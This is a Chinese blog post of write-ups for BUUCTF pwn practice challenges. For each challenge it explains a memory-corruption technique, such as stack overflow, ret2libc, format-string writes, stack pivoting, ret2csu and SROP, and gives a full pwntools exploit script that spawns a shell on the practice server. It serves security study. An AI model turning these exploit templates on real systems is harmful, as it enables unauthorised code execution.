pwn | buuctf刷题(一)

发布时间 2023-07-02 13:38:13作者: z5onk0

test_your_nc

nc连上去就是一个shell

pwn1

gets栈溢出,ret2text

打远程的时候遇到如下报错,原因可能有两个

timeout: the monitored command dumped core

一是get_flag后未正常退出,需要给get_flag的返回地址写个exit

二是栈未对齐,导致程序异常退出,如下所示,ret时rsp为...968

image-20230628174619232

成功进入system函数后,继续运行,程序在...e3c这里断下来了

image-20230628174724050

指令为

movaps xmmword ptr [rsp + 0x50], xmm0

百度一下,就是说此时rsp为...5c8,rsp+0x50不是0x10对齐的,程序就会崩溃

image-20230628175512789

解决方法是在原来返回地址处写入一个ret指令,栈顶整体下移8个字节,使之对齐 0x10, 如下所示,两次ret后,栈顶地址变为了...200,此后进入system函数就满足了对齐条件

image-20230628175031285

exp:

from pwn import *
content = 1 
if content:
    p = remote("node4.buuoj.cn", 29459)
else:
    p = process("./pwn1")
elf = ELF("./pwn1")
magic_addr = elf.symbols["fun"]
ret_addr = 0x401185
print (hex(magic_addr))
payload = b"a"*15 + b"b"*8 + p64(ret_addr) + p64(magic_addr)
p.sendline(payload)
p.sendline("cat flag")
p.interactive()

warmup_csaw_2016

gets栈溢出,ret2text

from pwn import *
p = remote('node4.buuoj.cn', 29126)
payload=b'a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

gets栈溢出,ret2text

from pwn import *
context.arch = 'amd64'
io = process("./ciscn_2019_n_1")
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()

pwn1_sctf

strcpy栈溢出,ret2text

from pwn import *
context(os = 'linux', arch='amd64', log_level='debug')
magic_addr = 0x8048F0D
#p = process('./pwn1_sctf_2016')
p = remote('node4.buuoj.cn', 29396)
payload = b'I'*20 + 4*b'a' + p32(magic_addr)
p.sendline(payload)
p.interactive()

jarvisoj_level0

read栈溢出,re2text

from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()

pwn5

printf格式化字符串可控,任意地址写

如图,偏移为10

image-20230629104058510

bss段上的数据为4个字节,需要全部覆盖,分4次写入0x10

from pwn import*

r=remote('node3.buuoj.cn',26959)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

ciscn_2019_c1

gets栈溢出,ret2libc

payload首字节写入'\x00',在14行这里绕过加密逻辑

image-20230629112118876

分两次溢出,第一次泄露libc地址,布局为pop_rdi->puts_got->puts_plt->main

第二次get_shell,ubuntu18.04以上环境,要注意栈对齐,布局为ret->pop_rdi->binsh->system

from pwn import*

r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

offset=puts_addr-0x0809c0
binsh=offset+0x1b3e9a
system=offset+0x04f440

r.sendlineafter('choice!\n','1')

payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

ciscn_2018_n8

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11))
p.interactive()

jarvisoj_level2

read栈溢出,ret2libc

栈布局:call_system_addr->bin_sh_addr

from pwn import *
s=remote("node4.buuoj.cn",29008)
payload='a'*0x88+'a'*4+p32(0x0804845C)+p32(0x0804a024)
s.sendline(payload)
s.interactive()

bjdctf_2020_babystack

read栈溢出,ret2text

计算偏移的时候要注意一下,有的程序main函数开头是没有压ebp的,ida看函数栈帧可以看出来,s是saved_ebp,r是返回地址,下面这个就是没有压ebp的

image-20230629211042439

下面这个是压了ebp的

image-20230629211139552

from pwn import*

r=remote('node4.buuoj.cn',28945)
shell_addr=0x4006e6
r.sendline('100')
payload='a'*(0x10+8)+p64(shell_addr)
r.sendline(payload)

r.interactive()

get_started_3dsctf_2016

gets栈溢出

法一:利用后门函数,直接getFlag,用exit函数让程序正常退出

from pwn import *

context(os="linux", arch="i386", log_level="debug")
q = process("./get_started_3dsctf_2016")

# 0x080489A0为get_flag函数入口地址
# 0x0804E6A0为exit函数入口地址
payload = cyclic(0x38) + p32(0x080489B8) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
q.recvline()

法二:mprotect修改内存页权限,ret2shellcode

ctrl+s调出段表,选择80eb000作为要修改的起始地址,不选bss段的原因是没有4k对齐(mprotect函数只能传入内存页起始地址作为参数)

image-20230629153902421

mprotect函数原型:

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

故栈布局为:mprotect_addr->pppr->mem_addr->mem_size->mem_prot->read_addr->pppr->0->mem_addr->size->mem_addr

from pwn import *

elf = ELF('./get_started_3dsctf_2016')
r=remote('node4.buuoj.cn', 28267)

pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000    
mem_proc = 0x7       
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

payload  = b'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 
payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)
payload += p32(pop3_ret)  
payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 
payload += p32(mem_addr)   

r.sendline(payload)
payload = asm(shellcraft.sh()) 
r.sendline(payload)
r.interactive()

babyrop

read栈溢出,ret2libc

输入\x00,使strlen返回0,绕过检测

image-20230629162340390

然后就是两次read栈溢出,第一次用write泄露libc,第二次get_shell

from pwn import *

r = remote('node4.buuoj.cn',26832)
context.log_level = 'debug'
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')
libc_binsh = libc.search(b'/bin/sh').__next__()
payload = '\x00'+'\xff'*7
r.sendline(payload)
r.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(0x80487cf)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc_base = write_addr - 0x000d43c0 
system_addr = libc_base+0x3a940
bin_sh_addr = libc_base+libc_binsh
r.sendline(payload)
r.recvuntil("Correct\n")
payload2 = b'a'*0xe7+b'a'*4+p32(0x80487cf)+p32(system_addr)+p32(0x80487c7)+p32(bin_sh_addr)
r.sendline(payload2)
r.sendline("cat flag")
r.interactive()

level2_x64

read栈溢出,ret2text

from pwn import *

context(log_level = 'debug')
elf = ELF('./level2_x64')
p = remote('node4.buuoj.cn',28865)

systemaddr=0x400603
shelladdr=0x600a90
rdiaddr=0x4006b3

payload= b'a'*(0x80+8)+p64(rdiaddr)+p64(shelladdr)+p64(systemaddr)

p.sendline(payload)
p.interactive()

babyrop2

scanf栈溢出,ret2text

from pwn import*

r=remote('node4.buuoj.cn',29409)
shell=0x601048
system=0x400496
rdi=0x400683
payload=b'a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()

ciscn_2019_en_2

gets栈溢出,ret2text

一毛一样,怎么全是这种题啊,曲线也太平滑了

from pwn import*

r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

offset=puts_addr-0x0809c0
binsh=offset+0x1b3e9a
system=offset+0x04f440

r.sendlineafter('choice!\n','1')

payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

ciscn_2019_n_5

gets栈溢出,ret2shellcode

IDA查看bss段没有执行权限

image-20230629204340601

gdb查看bss段有执行权限

image-20230629204319749

说明还是要以动态的为准

两次输入,一次在bss段输入shellcode,一次溢出把返回地址打向bss段

from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",27210)

context.arch="amd64"
shellcode=asm(shellcraft.sh())
name_addr=0x601080
p.recvuntil("name\n")
p.sendline(shellcode)
p.recvuntil("?\n")
payload=b"A"*0x28+p64(name_addr)
p.sendline(payload)

p.interactive()

not_the_same_3dsctf_2016

gets栈溢出,ret2text

不要忘了搜一下system\bin_sh\flag等关键词,可能会有意外发现哦

image-20230629210747000

from pwn import *
context.log_level='debug'
p = remote('node3.buuoj.cn',29167)
elf = ELF('./not_the_same_3dsctf_2016')
write_addr = elf.sym['write']
get_flag = 0x080489A0
flag_bss = 0x080ECA2D
payload = b'a'*(0x2D) + p32(get_flag)+ p32(write_addr)+ 'a'*4 +p32(1) + p32(flag_bss) + p32(45)
p.sendline(payload)
p.interactive()

others_shellcode

通过11号系统调用,直接返回了一个shell

image-20230629211927725

ciscn_2019_ne_5

strcpy栈溢出,ret2text

搜/bin/sh没有搜到,然后用ROPgadget搜sh搜到了

image-20230629213929760

返回ida里查看原来是这玩意,醉了

image-20230629214159772

是符号表里的字符串,这样用人家对fflush礼貌吗?

image-20230629214727919

from pwn import *

p=remote("node4.buuoj.cn",25653)

p.recvuntil(":")
p.sendline("administrator")

p.recvuntil(":")
p.sendline("1")

system=0x80484D0
sh=0x080482ea

payload=b"A"*(0x4c)+p32(system)+b"0000"+p32(sh)

p.sendline(payload)
p.recvuntil(":")
p.sendline("4")
p.interactive()

2018_rop

read栈溢出,ret2libc

第一次溢出,泄露libc,用write把write_got值打出来,返回main

第二次溢出,get_shell

from pwn import *

r=remote('node4.buuoj.cn',29022)
elf=ELF('./2018_rop')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))

libc_base=write_addr-0xe56f0

system_addr=libc_base+0x3cd10
bin_sh=libc_base+0x17b8cf

payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

r.sendline(payload)
r.interactive()

bjdctf_2020_babyrop

from pwn import *

p=remote("node4.buuoj.cn",28879)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734

payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
puts=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts))
libcbase=puts-0x6f690
system=libcbase+0x45390
str_bin_sh=libcbase+0x18cd57

payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)
p.recvuntil(b"story!\n")
p.sendline(payload2)

p.interactive()

bjdctf_2020_babystack2

整数溢出导致read栈溢出,ret2text

输入的length为无符号类型,17行判断大小时被转化为了有符号数,23行read时又被转化为了无符号数,存在整数溢出漏洞,输入一个大于0x7fffffff的数,在17行这里被转化为负数,可以绕过判断,进而导致read栈溢出

image-20230630105748848

#!/usr/bin/python2
#coding=utf-8
from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")
p = remote("node4.buuoj.cn", 25118)
backdoor = 0x400727
p.sendlineafter("length of your name:", "2147483648")
payload = b"a" * 0x18 + p64(backdoor)
p.sendlineafter("name?", payload)
p.sendline("cat flag")

p.interactive()

fm

printf格式化字符串可控,任意地址写

偏移为11,在0804A02C处(原值为0)一次性写入4

from pwn import *

p = remote("node4.buuoj.cn", 25723)
payload = p32(0x0804A02C) + b"%11$n"
p.sendline(payload)

ciscn_2019_es_2

read栈溢出,printf泄露ebp,ret2text

image-20230630204113966

read输入字节数较少,只能刚好覆盖返回地址,没办法布置rop链

利用printf可以把ebp泄露出来,定位s变量的栈地址,故考虑栈劫持,将栈迁移到s变量位于的可控区域范围内,步骤为泄露ebp->布置rop链->栈劫持

首先是泄露ebp,printf把saved_ebp打出来

payload='a'*0x20+'b'*8

定位s的栈地址,如下所示,off = 0xffe598e8-0xffe598b0=0x38,即s_addr = old_ebp-0x38

image-20230630205220230

布置rop链,system->0xdeadbeef->bin_sh_addr,程序中没有/bin/sh字符串,可以写到栈上,反正栈上的地址都已经知道了,前面那个'a'*4对应栈迁移后新的ebp位置

payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"

关键一步栈劫持,就是往ebp这里写入s变量的起始地址,用于抬高ebp至s处,同时在返回地址处写入leave_ret的指令地址,用于抬高esp至s处

payload2+=p32(ebp-0x38)+p32(leave_ret)

总结下rop链的执行流程:

  • vul函数的leave指令执行后,ebp被抬高至s处

  • vul函数的ret指令执行后,控制流被打向leave_ret代码

  • leave指令执行后,esp指向我们写入的system地址

  • ret指令执行后,getshell

总结下栈劫持的基本条件:

  • 程序中有printf等函数能泄露ebp
  • 程序至少要出现两次read溢出,一次泄露,一次迁移
#!/usr/bin/python
from pwn import *

#a=remote("node3.buuoj.cn",26501)
a=process("ciscn_2019_es_2")
context(arch='i386',os='linux',log_level='debug')

sys=0x8048400
leave_ret=0x08048562

a.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
a.send(payload)
a.recvuntil("bbbbbbbb")
ebp=u32(a.recv(4))
print (hex(ebp))
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
print (payload2)
#gdb.attach(a)
a.send(payload2)

a.interactive()

jarvisoj_tell_me_something

read栈溢出,ret2text

from pwn import *

r=remote('node4.buuoj.cn',25062)
flag_addr=0x400620

payload='a'*(0x88)+p64(flag_addr)
r.sendline(payload)

r.interactive()

[HarekazeCTF2019]baby_rop2

read栈溢出,ret2libc

只有一个printf可以用作泄露libc,用到rdi和rsi两个寄存器,只有下面这两个gagdet可以用

image-20230630213917294

第一个参数就用这个现成的吧,有个%s

image-20230630214239045

第二个参数给个read_got,还有一个r15用不到,给个0吧

from pwn import *

#start
r = remote("node4.buuoj.cn",26613)
# r = process("./baby_rop2")
elf = ELF("./baby_rop2")

#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770

#attack
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
r.recv()
r.sendline(payload)
read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("read_addr: " + hex(read_addr))

#libc
base_addr = read_addr - 0xf7250
system_addr = base_addr + 0x45390
bin_sh_addr = base_addr + 0x18cd57
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))

#attack2
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline(payload)

r.interactive()

pwn2_sctf_2016

整数溢出导致read栈溢出,ret2libc

atoi返回有符号数,下面的get_n强转为了无符号数,导致整数溢出,可以输入最多0xffffffff个字节

image-20230630222202059

然后就是printf泄露libc地址,getshell

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

#sh = process('./pwn2_sctf_2016')
sh = remote('node4.buuoj.cn',25368)
elf = ELF('./pwn2_sctf_2016')
libc = ELF('./x86-libc-2.23.so')

atoi_got_addr = elf.got['atoi']
printf_plt_addr = elf.plt['printf']
formatstr_addr = 0x80486f8         # %s
main_addr = elf.symbols['main']

fakeebp = 0x4
offset = 0x2c + fakeebp #48字节
#利用printf函数来leak在libc中的atoi函数
leak_payload = 'a' * offset 
leak_payload+= p32(printf_plt_addr) + p32(main_addr) + p32(formatstr_addr) + p32(atoi_got_addr)
sh.sendlineafter('How many bytes do you want me to read?','-1')
sh.sendlineafter('bytes of data!\n',leak_payload)

sh.recvuntil('You said: ')#这里是接收main函数执行完的输出
sh.recvuntil('You said: ')#这里才是接收rop链造成的输出,leak出的地址在这里面
atoi_realaddr = u32(sh.recvuntil('\xf7')[-4:])
log.success('leak_atoi_real_addr => {}'.format(hex(atoi_realaddr)))

base_addr = atoi_realaddr - libc.symbols['atoi']
system_addr = libc.symbols['system'] + base_addr
binsh_addr = libc.search('/bin/sh').next() + base_addr

payload = 'a' * offset + p32(system_addr) + p32(main_addr) + p32(binsh_addr)

sh.sendlineafter('How many bytes do you want me to read?','-1')
sh.sendlineafter('bytes of data!\n',payload)

sh.sendline('cat flag')
sh.interactive()

jarvisoj_level3

read栈溢出,retlibc

write泄露libc,get_shell

from pwn import*
p=remote('node4.buuoj.cn',26020)
elf=ELF('level3')
libc=ELF('./libc-2.23.so')
write_got=elf.got['write']
write_plt=elf.plt['write']
vuln=0x0804844b
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh\x00').__next__()
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

read栈溢出,泄露栈地址,ret2csu,srop

image-20230702110810168

没有调用libc函数,不考虑ret2libc

有syscall,考虑用execve("/bin/sh", NULL, NULL),"/bin/sh"只能自己往栈上写,故需要泄露栈地址

有直接控制rax、rdi、rsi的gadget,还差一个rdx,衍生两种解法,ret2csu和srop

  • 泄露栈地址

只有一次read的机会,这一次必须就覆盖返回地址,故不能泄露ebp,那栈上还有没有保存其他的栈地址?当然有,就是下面这个main函数的argv参数,它是指向命令行参数的指针数组的首地址(也可以说是指向指针的指针),这个指针数组是存放在栈上的,那它的首地址必然也是一个栈地址,作为main的参数,它被放到了rsi中,然后被存放到了栈上,如下所示

image-20230702110446473

image-20230702110404118

利用sys_write可以把这个值打出来,然后减去0x148(不同libc该偏移不同),即为buf地址

PS:在read栈溢出计算偏移时,需注意这个vul函数没有leave指令,直接把rbp给ret了

image-20230702111141829

  • 解法一:ret2csu

libcsu_init函数被用作初始化,其内部对多个寄存器做了控制,故可以用来做利用的gadget,用到的是下面这两段

image-20230702111519244

我们的目标是控制rdx,那只要在400596这段代码里控制r13=0,跳到400580代码中即可让rdx=r13=0

有三点需要注意:

  1. cmp rbx, rbp,要让其相等,才不会继续进入循环
  2. call [r12+rbx*8]这里有个跳转,可以让rbx=0,r12指向栈上一个存放了ret指令地址的位置,这样可以避免跳转,程序继续向下面的40058d执行
  3. 继续向下执行,会pop六次,以及拉低rsp一次,布置rop需留意

总结下步骤:写入/bin/sh->rax赋值为0x3b->跳到loc_400596->跳到loc_400580->call继续向下执行->pop_rdi->syscall

先放exp:

from pwn import *
p = process("./ciscn_s_3")

main_addr = 0x40051d
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
buf_addr = stack_addr-0x148
print ('buf_addr-->' + hex(buf_addr))

pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

print(proc.pidof(p))
pause()
payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 #pop六次,以及拉低rsp一次
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)

p.interactive()

调试情况如下:

rax置0x3b

image-20230702103923570

loc_400596

image-20230702104028949

loc_400580image-20230702104109708

call r12,继续向下执行

image-20230702104220894

rbx=rbp,不跳转

image-20230702104350696

接连几个pop

image-20230702104415452

pop_rdi,syscall

image-20230702104604425

  • 解法二:srop

linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值

image-20230702113121569

题目已经给了0xf的syscall(对应③这个环节),答案都甩脸上了

pwntool能够直接生成栈环境的布局

from pwn import *

context.arch = 'amd64'
p = process("./ciscn_s_3")
#p=remote('node4.buuoj.cn',26020)
main_addr = 0x40051d
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
buf_addr = stack_addr-0x148
print ('buf_addr-->' + hex(buf_addr))

syscall = 0x400517
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
p.send(payload)
p.interactive()

简单粗暴是不是

picoctf_2018_rop chain

gets栈溢出,ret2text

栈布局:win1->win2->flag->0xBAAAAAAD->0xDEADBAAD

from pwn import *

r = remote("node4.buuoj.cn", 27297)

win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B

payload = b"a" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
r.sendlineafter("input> ", payload)

r.interactive()